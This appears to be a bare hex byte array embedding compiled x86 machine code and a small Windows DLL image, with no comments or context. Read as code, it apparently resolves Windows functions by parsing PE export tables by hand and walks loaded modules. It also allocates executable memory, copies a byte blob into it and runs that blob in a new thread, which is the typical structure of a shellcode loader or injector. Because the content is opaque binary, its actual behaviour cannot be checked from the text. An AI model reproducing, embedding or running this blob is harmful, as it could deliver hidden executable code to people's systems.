0xd0,0x07,0x00,0x10,0x8d,0x45,0xec,0x50,0xff,0x15,0x20,0x03,0x00,0x10,0x8d,0x4d,
0xec,0x51,0x8b,0x55,0xfc,0x52,0xe8,0x05,0xfd,0xff,0xff,0x89,0x45,0xf4,0x83,0x7d,
0xf4,0x00,0x0f,0x84,0xeb,0x00,0x00,0x00,0x8b,0x45,0xf4,0x50,0x68,0xdc,0x07,0x00,
0x10,0xe8,0x4c,0xfa,0xff,0xff,0x83,0xc4,0x08,0xc7,0x45,0xe8,0x00,0x00,0x00,0x00,
0x8b,0x4d,0xe8,0x51,0x8b,0x55,0xf4,0x52,0xe8,0x33,0xfd,0xff,0xff,0x89,0x45,0xe8,
0x83,0x7d,0xe8,0x00,0x0f,0x84,0xb7,0x00,0x00,0x00,0x8b,0x45,0xe8,0x50,0xe8,0x4d,
0xfd,0xff,0xff,0x89,0x45,0xe4,0x83,0x7d,0xe4,0x00,0x0f,0x84,0x9c,0x00,0x00,0x00,
0x8b,0x4d,0xe4,0x51,0x8b,0x55,0xe8,0x52,0x68,0x10,0x08,0x00,0x10,0xe8,0x00,0xfa,
0xff,0xff,0x83,0xc4,0x0c,0x8b,0x45,0xe4,0x03,0x05,0x98,0x2d,0x00,0x10,0x8b,0x08,
0x89,0x4d,0xe0,0x83,0x7d,0xe0,0x00,0x75,0x02,0xeb,0xa5,0x8b,0x55,0xe0,0x03,0x15,
0xa0,0x2d,0x00,0x10,0x8b,0x02,0x89,0x45,0xd8,0x83,0x7d,0xd8,0x00,0x75,0x02,0xeb,
0x8f,0x8b,0x4d,0x08,0x51,0x68,0xb0,0x21,0x00,0x10,0xe8,0xe1,0xf3,0xff,0xff,0x50,
0x8b,0x55,0xe4,0x52,0x8b,0x45,0xd8,0x50,0xe8,0x83,0xee,0xff,0xff,0x89,0x45,0xdc,
0x83,0x7d,0xdc,0x00,0x74,0x36,0x8b,0x4d,0xdc,0x51,0x8b,0x55,0xd8,0x52,0xe8,0xed,
0xfc,0xff,0xff,0x8b,0x4d,0xe0,0x03,0x0d,0xa0,0x2d,0x00,0x10,0x89,0x01,0x8b,0x55,
0xdc,0x52,0x8b,0x45,0xd8,0x50,0x68,0x48,0x08,0x00,0x10,0xe8,0x82,0xf9,0xff,0xff,
0x83,0xc4,0x0c,0x8b,0x4d,0xf8,0x83,0xc1,0x01,0x89,0x4d,0xf8,0xe9,0x2f,0xff,0xff,
0xff,0xeb,0x0d,0x68,0x80,0x08,0x00,0x10,0xe8,0x65,0xf9,0xff,0xff,0x83,0xc4,0x04,
0xe8,0xbb,0xde,0xff,0xff,0x8b,0x45,0xf8,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,
0x55,0x8b,0xec,0x51,0x83,0x7d,0x08,0x00,0x74,0x26,0xc7,0x45,0xfc,0x00,0x00,0x00,
0x00,0xeb,0x09,0x8b,0x45,0xfc,0x83,0xc0,0x01,0x89,0x45,0xfc,0x8b,0x4d,0x08,0x03,
0x4d,0xfc,0x0f,0xbe,0x11,0x85,0xd2,0x74,0x02,0xeb,0xe8,0x8b,0x45,0xfc,0xeb,0x02,
0x33,0xc0,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x0c,0x8b,0x45,0x08,0x50,0xe8,0xb1,0xff,0xff,0xff,0x89,
0x45,0xf8,0x8b,0x4d,0x0c,0x51,0xe8,0xa5,0xff,0xff,0xff,0x89,0x45,0xfc,0x8b,0x55,
0xf8,0x3b,0x55,0xfc,0x74,0x07,0xb8,0x01,0x00,0x00,0x00,0xeb,0x3b,0xc7,0x45,0xf4,
0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x45,0xf4,0x83,0xc0,0x01,0x89,0x45,0xf4,0x8b,
0x4d,0xf4,0x3b,0x4d,0xf8,0x73,0x1f,0x8b,0x55,0x08,0x03,0x55,0xf4,0x0f,0xbe,0x02,
0x8b,0x4d,0x0c,0x03,0x4d,0xf4,0x0f,0xbe,0x11,0x3b,0xc2,0x74,0x07,0xb8,0x01,0x00,
0x00,0x00,0xeb,0x04,0xeb,0xd0,0x33,0xc0,0x8b,0xe5,0x5d,0xc2,0x08,0x00,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x08,0x8b,0x45,0x0c,0x50,0xe8,0x41,0xff,0xff,0xff,0x83,
0xc0,0x01,0x89,0x45,0xfc,0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x4d,
0xf8,0x83,0xc1,0x01,0x89,0x4d,0xf8,0x8b,0x55,0xf8,0x3b,0x55,0xfc,0x73,0x12,0x8b,
0x45,0x08,0x03,0x45,0xf8,0x8b,0x4d,0x0c,0x03,0x4d,0xf8,0x8a,0x11,0x88,0x10,0xeb,
0xdd,0x8b,0x45,0x08,0x8b,0xe5,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x51,0x8b,0x45,0x08,0x89,0x45,0xfc,0xeb,0x09,0x8b,0x4d,0x08,0x83,
0xc1,0x01,0x89,0x4d,0x08,0x8b,0x55,0xfc,0x52,0xe8,0xe2,0xfe,0xff,0xff,0x03,0x45,
0xfc,0x39,0x45,0x08,0x77,0x26,0x8b,0x45,0x08,0x0f,0xbe,0x08,0x83,0xf9,0x41,0x7c,
0x19,0x8b,0x55,0x08,0x0f,0xbe,0x02,0x83,0xf8,0x5a,0x7f,0x0e,0x8b,0x4d,0x08,0x0f,
0xbe,0x11,0x83,0xc2,0x20,0x8b,0x45,0x08,0x88,0x10,0xeb,0xc0,0x8b,0x45,0xfc,0x8b,
0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x0f,0xb7,0x45,0x08,0x83,0xf8,0x41,0x7c,0x12,0x0f,0xb7,0x4d,0x08,
0x83,0xf9,0x5a,0x7f,0x09,0x0f,0xb7,0x45,0x08,0x83,0xc0,0x20,0xeb,0x04,0x66,0x8b,
0x45,0x08,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x14,0x8b,0x45,0x08,0x0f,0xb7,0x08,0x8b,0x55,0x0c,0x0f,
0xb7,0x02,0x3b,0xc8,0x7d,0x0c,0x8b,0x4d,0x08,0x66,0x8b,0x11,0x66,0x89,0x55,0xee,
0xeb,0x0a,0x8b,0x45,0x0c,0x66,0x8b,0x08,0x66,0x89,0x4d,0xee,0x0f,0xb7,0x55,0xee,
0xd1,0xea,0x66,0x89,0x55,0xfc,0xb8,0x01,0x00,0x00,0x00,0x66,0x89,0x45,0xf8,0xeb,
0x0c,0x66,0x8b,0x4d,0xf8,0x66,0x83,0xc1,0x01,0x66,0x89,0x4d,0xf8,0x0f,0xb7,0x55,
0xf8,0x0f,0xb7,0x45,0xfc,0x3b,0xd0,0x7d,0x71,0x8b,0x4d,0x08,0x0f,0xb7,0x11,0xd1,
0xea,0x0f,0xb7,0x45,0xf8,0x2b,0xd0,0x8b,0x4d,0x08,0x8b,0x41,0x04,0x66,0x8b,0x0c,
0x50,0x66,0x89,0x4d,0xf4,0x8b,0x55,0x0c,0x0f,0xb7,0x02,0xd1,0xe8,0x0f,0xb7,0x4d,
0xf8,0x2b,0xc1,0x8b,0x55,0x0c,0x8b,0x4a,0x04,0x66,0x8b,0x14,0x41,0x66,0x89,0x55,
0xf0,0x0f,0xb6,0x45,0x10,0x85,0xc0,0x74,0x1c,0x0f,0xb7,0x4d,0xf4,0x51,0xe8,0x2d,
0xff,0xff,0xff,0x66,0x89,0x45,0xf4,0x0f,0xb7,0x55,0xf0,0x52,0xe8,0x1f,0xff,0xff,
0xff,0x66,0x89,0x45,0xf0,0x0f,0xb7,0x45,0xf4,0x0f,0xb7,0x4d,0xf0,0x3b,0xc1,0x74,
0x04,0x32,0xc0,0xeb,0x07,0xe9,0x77,0xff,0xff,0xff,0xb0,0x01,0x8b,0xe5,0x5d,0xc2,
0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x1c,0xc7,0x45,0xfc,0x00,0x00,0x00,0x00,0x8b,0x45,0x08,
0x8b,0x4d,0x08,0x03,0x48,0x3c,0x89,0x4d,0xf8,0x8b,0x55,0xf8,0x0f,0xb7,0x42,0x04,
0x3d,0x4c,0x01,0x00,0x00,0x75,0x17,0x8b,0x4d,0xf8,0x83,0x79,0x78,0x00,0x74,0x0c,
0x8b,0x55,0xf8,0x8b,0x45,0x08,0x03,0x42,0x78,0x89,0x45,0xfc,0xeb,0x3c,0x8b,0x4d,
0xf8,0x0f,0xb7,0x51,0x04,0x81,0xfa,0x64,0x86,0x00,0x00,0x75,0x29,0x8b,0x45,0x08,
0x8b,0x4d,0x08,0x03,0x48,0x3c,0x89,0x4d,0xf4,0x8b,0x55,0xf4,0x83,0xba,0x88,0x00,
0x00,0x00,0x00,0x74,0x0f,0x8b,0x45,0xf4,0x8b,0x4d,0x08,0x03,0x88,0x88,0x00,0x00,
0x00,0x89,0x4d,0xfc,0xeb,0x04,0x33,0xc0,0xeb,0x7c,0x83,0x7d,0xfc,0x00,0x74,0x74,
0x8b,0x55,0xfc,0x8b,0x45,0x08,0x03,0x42,0x1c,0x89,0x45,0xf0,0x8b,0x4d,0xfc,0x8b,
0x55,0x08,0x03,0x51,0x24,0x89,0x55,0xec,0x8b,0x45,0xfc,0x8b,0x4d,0x08,0x03,0x48,
0x20,0x89,0x4d,0xe8,0xc7,0x45,0xe4,0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x55,0xe4,
0x83,0xc2,0x01,0x89,0x55,0xe4,0x8b,0x45,0xfc,0x8b,0x4d,0xe4,0x3b,0x48,0x14,0x73,
0x33,0x8b,0x55,0x0c,0x52,0x8b,0x45,0xe4,0x8b,0x4d,0xe8,0x8b,0x55,0x08,0x03,0x14,
0x81,0x52,0xe8,0xf9,0xfc,0xff,0xff,0x85,0xc0,0x75,0x17,0x8b,0x45,0xe4,0x8b,0x4d,
0xec,0x0f,0xbf,0x14,0x41,0x8b,0x45,0xf0,0x8b,0x4d,0x08,0x03,0x0c,0x90,0x8b,0xc1,
0xeb,0x04,0xeb,0xb9,0x33,0xc0,0x8b,0xe5,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x81,0xec,0x84,0x00,0x00,0x00,0xc7,0x45,0xc0,0x00,0x00,0x00,0x00,
0x68,0x88,0x0c,0x00,0x10,0x8d,0x45,0xc4,0x50,0xff,0x15,0x20,0x03,0x00,0x10,0x68,
0x98,0x0c,0x00,0x10,0x8d,0x4d,0xe0,0x51,0xff,0x15,0x20,0x03,0x00,0x10,0xc7,0x45,
0xe8,0xb4,0x0c,0x00,0x10,0xc7,0x45,0xec,0xc4,0x0c,0x00,0x10,0xc7,0x45,0xf0,0xdc,
0x0c,0x00,0x10,0xc7,0x45,0xf4,0xf4,0x0c,0x00,0x10,0xc7,0x45,0xf8,0x0c,0x0d,0x00,
0x10,0xc7,0x45,0xfc,0x28,0x0d,0x00,0x10,0xc7,0x45,0xd0,0x44,0x0d,0x00,0x10,0xc7,
0x45,0xd4,0x60,0x0d,0x00,0x10,0xc7,0x45,0xd8,0x7c,0x0d,0x00,0x10,0xc7,0x45,0xdc,
0x98,0x0d,0x00,0x10,0x6a,0x0b,0xe8,0x85,0xf4,0xff,0xff,0x89,0x45,0xcc,0x83,0x7d,
0xcc,0x00,0x0f,0x84,0xda,0x01,0x00,0x00,0x8b,0x55,0x08,0x52,0x8d,0x45,0xac,0x50,
0xff,0x15,0x18,0x03,0x00,0x10,0x6a,0x01,0x8d,0x4d,0xac,0x51,0x8d,0x55,0xb4,0x52,
0xff,0x15,0x14,0x03,0x00,0x10,0x89,0x45,0xbc,0x83,0x7d,0xbc,0x00,0x0f,0x8c,0xa3,
0x01,0x00,0x00,0xc7,0x45,0xa8,0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x45,0xa8,0x83,
0xc0,0x01,0x89,0x45,0xa8,0x8b,0x4d,0xcc,0x8b,0x55,0xa8,0x3b,0x11,0x0f,0x83,0x79,
0x01,0x00,0x00,0x8b,0x45,0xa8,0x69,0xc0,0x1c,0x01,0x00,0x00,0x8b,0x4d,0xcc,0x8d,
0x54,0x01,0x04,0x8b,0x45,0xa8,0x69,0xc0,0x1c,0x01,0x00,0x00,0x8b,0x4d,0xcc,0x0f,
0xb7,0x44,0x01,0x1e,0x8d,0x4c,0x02,0x1c,0x51,0x8d,0x55,0x9c,0x52,0xff,0x15,0x18,
0x03,0x00,0x10,0x6a,0x01,0x8d,0x45,0x9c,0x50,0x8d,0x4d,0x94,0x51,0xff,0x15,0x14,
0x03,0x00,0x10,0x89,0x45,0xa4,0x83,0x7d,0xa4,0x00,0x0f,0x8c,0x27,0x01,0x00,0x00,
0x6a,0x01,0x8d,0x55,0xc4,0x52,0x8d,0x45,0xb4,0x50,0xff,0x15,0xa0,0x02,0x00,0x10,
0x0f,0xb6,0xc8,0x85,0xc9,0x74,0x5d,0xc7,0x45,0x90,0x00,0x00,0x00,0x00,0xeb,0x09,
0x8b,0x55,0x90,0x83,0xc2,0x01,0x89,0x55,0x90,0x83,0x7d,0x90,0x06,0x7d,0x40,0x8b,
0x45,0x90,0x8b,0x4c,0x85,0xe8,0x51,0x8d,0x55,0x88,0x52,0xff,0x15,0x20,0x03,0x00,
0x10,0x6a,0x01,0x8d,0x45,0x88,0x50,0x8d,0x4d,0x94,0x51,0xff,0x15,0xa0,0x02,0x00,
0x10,0x0f,0xb6,0xd0,0x85,0xd2,0x74,0x15,0x8b,0x45,0xa8,0x69,0xc0,0x1c,0x01,0x00,
0x00,0x8b,0x4d,0xcc,0x8b,0x54,0x01,0x0c,0x89,0x55,0xc0,0xeb,0x02,0xeb,0xb1,0xe9,
0xa1,0x00,0x00,0x00,0x6a,0x01,0x8d,0x45,0xe0,0x50,0x8d,0x4d,0xb4,0x51,0xff,0x15,
0xa0,0x02,0x00,0x10,0x0f,0xb6,0xd0,0x85,0xd2,0x74,0x60,0xc7,0x45,0x84,0x00,0x00,
0x00,0x00,0xeb,0x09,0x8b,0x45,0x84,0x83,0xc0,0x01,0x89,0x45,0x84,0x83,0x7d,0x84,
0x04,0x7d,0x46,0x8b,0x4d,0x84,0x8b,0x54,0x8d,0xd0,0x52,0x8d,0x85,0x7c,0xff,0xff,
0xff,0x50,0xff,0x15,0x20,0x03,0x00,0x10,0x6a,0x01,0x8d,0x8d,0x7c,0xff,0xff,0xff,
0x51,0x8d,0x55,0x94,0x52,0xff,0x15,0xa0,0x02,0x00,0x10,0x0f,0xb6,0xc0,0x85,0xc0,
0x74,0x15,0x8b,0x4d,0xa8,0x69,0xc9,0x1c,0x01,0x00,0x00,0x8b,0x55,0xcc,0x8b,0x44,
0x0a,0x0c,0x89,0x45,0xc0,0xeb,0x02,0xeb,0xab,0xeb,0x2a,0x6a,0x01,0x8d,0x4d,0x94,
0x51,0x8d,0x55,0xb4,0x52,0xff,0x15,0xa0,0x02,0x00,0x10,0x0f,0xb6,0xc0,0x85,0xc0,
0x74,0x13,0x8b,0x4d,0xa8,0x69,0xc9,0x1c,0x01,0x00,0x00,0x8b,0x55,0xcc,0x8b,0x44,
0x0a,0x0c,0x89,0x45,0xc0,0x8d,0x4d,0x94,0x51,0xff,0x15,0x10,0x03,0x00,0x10,0x83,
0x7d,0xc0,0x00,0x74,0x02,0xeb,0x05,0xe9,0x70,0xfe,0xff,0xff,0x8d,0x55,0xb4,0x52,
0xff,0x15,0x10,0x03,0x00,0x10,0x6a,0x00,0x8b,0x45,0xcc,0x50,0xff,0x15,0x90,0x02,
0x00,0x10,0x8b,0x45,0xc0,0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x08,0x83,0x7d,0x08,0x00,0x0f,0x85,0xc9,0x00,0x00,0x00,
0x8b,0x45,0x0c,0x89,0x45,0xf8,0x8b,0x4d,0xf8,0x8b,0x51,0x0c,0x52,0x8b,0x45,0xf8,
0x8b,0x48,0x0c,0x51,0xe8,0x87,0xf0,0xff,0xff,0x0f,0xb6,0xd0,0x85,0xd2,0x75,0x07,
0x32,0xc0,0xe9,0xa4,0x00,0x00,0x00,0x8b,0x45,0xf8,0x8b,0x08,0x89,0x0d,0x18,0x2e,
0x00,0x10,0x8b,0x55,0xf8,0x8b,0x42,0x0c,0xa3,0x1c,0x2e,0x00,0x10,0x8b,0x4d,0xf8,
0x8b,0x11,0x52,0x68,0xb4,0x0d,0x00,0x10,0x8b,0x45,0xf8,0x8b,0x48,0x0c,0x51,0xe8,
0xdc,0xee,0xff,0xff,0x0f,0xb6,0xd0,0x85,0xd2,0x75,0x04,0x32,0xc0,0xeb,0x6c,0xa1,
0x18,0x2e,0x00,0x10,0x50,0x68,0xc4,0x0d,0x00,0x10,0xe8,0xf3,0xf2,0xff,0xff,0x83,
0xc4,0x08,0x68,0xf0,0x0d,0x00,0x10,0xe8,0x04,0xfd,0xff,0xff,0x89,0x45,0xfc,0x83,
0x7d,0xfc,0x00,0x74,0x33,0x8b,0x4d,0xfc,0x51,0x68,0xfc,0x0d,0x00,0x10,0xe8,0xcf,
0xf2,0xff,0xff,0x83,0xc4,0x08,0x8b,0x55,0xfc,0x52,0x68,0x28,0x0e,0x00,0x10,0x8b,
0x45,0xf8,0x8b,0x48,0x0c,0x51,0xe8,0x85,0xee,0xff,0xff,0x0f,0xb6,0xd0,0x85,0xd2,
0x75,0x04,0x32,0xc0,0xeb,0x15,0xeb,0x11,0x68,0x34,0x0e,0x00,0x10,0xe8,0xa0,0xf2,
0xff,0xff,0x83,0xc4,0x04,0x32,0xc0,0xeb,0x02,0xb0,0x01,0x8b,0xe5,0x5d,0xc2,0x08,
0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x4d,0x5a,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xff,0xff,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x00,0x00,0x00,
0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,
0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,
0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,
0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x11,0xcb,0xaf,0x83,0x55,0xaa,0xc1,0xd0,0x55,0xaa,0xc1,0xd0,0x55,0xaa,0xc1,0xd0,
0x72,0x6c,0xba,0xd0,0x52,0xaa,0xc1,0xd0,0x55,0xaa,0xc0,0xd0,0x4c,0xaa,0xc1,0xd0,
0x5c,0xd2,0x45,0xd0,0x51,0xaa,0xc1,0xd0,0x5c,0xd2,0x53,0xd0,0x54,0xaa,0xc1,0xd0,
0x5c,0xd2,0x50,0xd0,0x54,0xaa,0xc1,0xd0,0x52,0x69,0x63,0x68,0x55,0xaa,0xc1,0xd0,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x50,0x45,0x00,0x00,0x4c,0x01,0x04,0x00,0x80,0x01,0xe4,0x50,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0xe0,0x00,0x02,0x21,0x0b,0x01,0x09,0x00,0x00,0x06,0x00,0x00,
0x00,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x12,0x00,0x00,0x00,0x10,0x00,0x00,
0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x10,0x00,0x00,0x00,0x02,0x00,0x00,
0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x50,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x40,0x05,
0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,
0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x60,0x26,0x00,0x00,0x4e,0x00,0x00,0x00,
0xd8,0x23,0x00,0x00,0x50,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x40,0x00,0x00,0xc8,0x00,0x00,0x00,0x70,0x20,0x00,0x00,0x1c,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x70,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2e,0x74,0x65,0x78,0x74,0x00,0x00,0x00,
0x76,0x05,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x04,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,
0x2e,0x72,0x64,0x61,0x74,0x61,0x00,0x00,0x11,0x07,0x00,0x00,0x00,0x20,0x00,0x00,
0x00,0x08,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2e,0x64,0x61,0x74,0x61,0x00,0x00,0x00,
0x2b,0x01,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x12,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xc0,
0x2e,0x72,0x65,0x6c,0x6f,0x63,0x00,0x00,0xde,0x00,0x00,0x00,0x00,0x40,0x00,0x00,
0x00,0x02,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xff,0x54,0x24,0x04,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x81,0xec,0x1c,0x01,0x00,0x00,0x56,0x57,0xc7,0x85,0xe8,0xfe,0xff,
0xff,0x00,0x00,0x00,0x00,0xff,0x15,0x24,0x20,0x00,0x10,0x50,0xff,0x15,0x20,0x20,
0x00,0x10,0x50,0x68,0x8c,0x20,0x00,0x10,0x6a,0x16,0x68,0xb0,0x20,0x00,0x10,0xe8,
0x7c,0x03,0x00,0x00,0x83,0xc4,0x14,0x68,0x5c,0x11,0x00,0x00,0x68,0xc0,0x20,0x00,
0x10,0x6a,0x1a,0x68,0xf8,0x20,0x00,0x10,0xe8,0x63,0x03,0x00,0x00,0x83,0xc4,0x10,
0x68,0x5c,0x11,0x00,0x00,0x68,0x08,0x21,0x00,0x10,0x8d,0x85,0xf0,0xfe,0xff,0xff,
0x50,0xff,0x15,0x64,0x20,0x00,0x10,0x83,0xc4,0x0c,0x6a,0x00,0x8d,0x8d,0xf0,0xfe,
0xff,0xff,0x51,0xff,0x15,0x1c,0x20,0x00,0x10,0x89,0x85,0xec,0xfe,0xff,0xff,0x8b,
0x95,0xec,0xfe,0xff,0xff,0x52,0x68,0x40,0x21,0x00,0x10,0x6a,0x21,0x68,0x64,0x21,
0x00,0x10,0xe8,0x19,0x03,0x00,0x00,0x83,0xc4,0x10,0x6a,0x40,0x68,0x00,0x30,0x00,
0x00,0x68,0x2b,0x01,0x00,0x00,0x6a,0x00,0xff,0x15,0x18,0x20,0x00,0x10,0x89,0x45,
0xfc,0x83,0x7d,0xfc,0x00,0x0f,0x84,0xa1,0x00,0x00,0x00,0x8b,0x45,0xfc,0x50,0x68,
0x2b,0x01,0x00,0x00,0x68,0x74,0x21,0x00,0x10,0x6a,0x28,0x68,0xac,0x21,0x00,0x10,
0xe8,0xdb,0x02,0x00,0x00,0x83,0xc4,0x14,0xb9,0x4a,0x00,0x00,0x00,0xbe,0x00,0x30,
0x00,0x10,0x8b,0x7d,0xfc,0xf3,0xa5,0x66,0xa5,0xa4,0x6a,0x00,0x6a,0x00,0x8b,0x4d,
0xfc,0x51,0x68,0x00,0x10,0x00,0x10,0x6a,0x00,0x6a,0x00,0xff,0x15,0x14,0x20,0x00,
0x10,0x89,0x85,0xe4,0xfe,0xff,0xff,0x83,0xbd,0xe4,0xfe,0xff,0xff,0x00,0x74,0x1e,
0x6a,0xff,0x8b,0x95,0xe4,0xfe,0xff,0xff,0x52,0xff,0x15,0x10,0x20,0x00,0x10,0x8b,
0x85,0xe4,0xfe,0xff,0xff,0x50,0xff,0x15,0x0c,0x20,0x00,0x10,0xeb,0x1b,0xff,0x15,
0x08,0x20,0x00,0x10,0x50,0x68,0xbc,0x21,0x00,0x10,0x6a,0x38,0x68,0xd8,0x21,0x00,
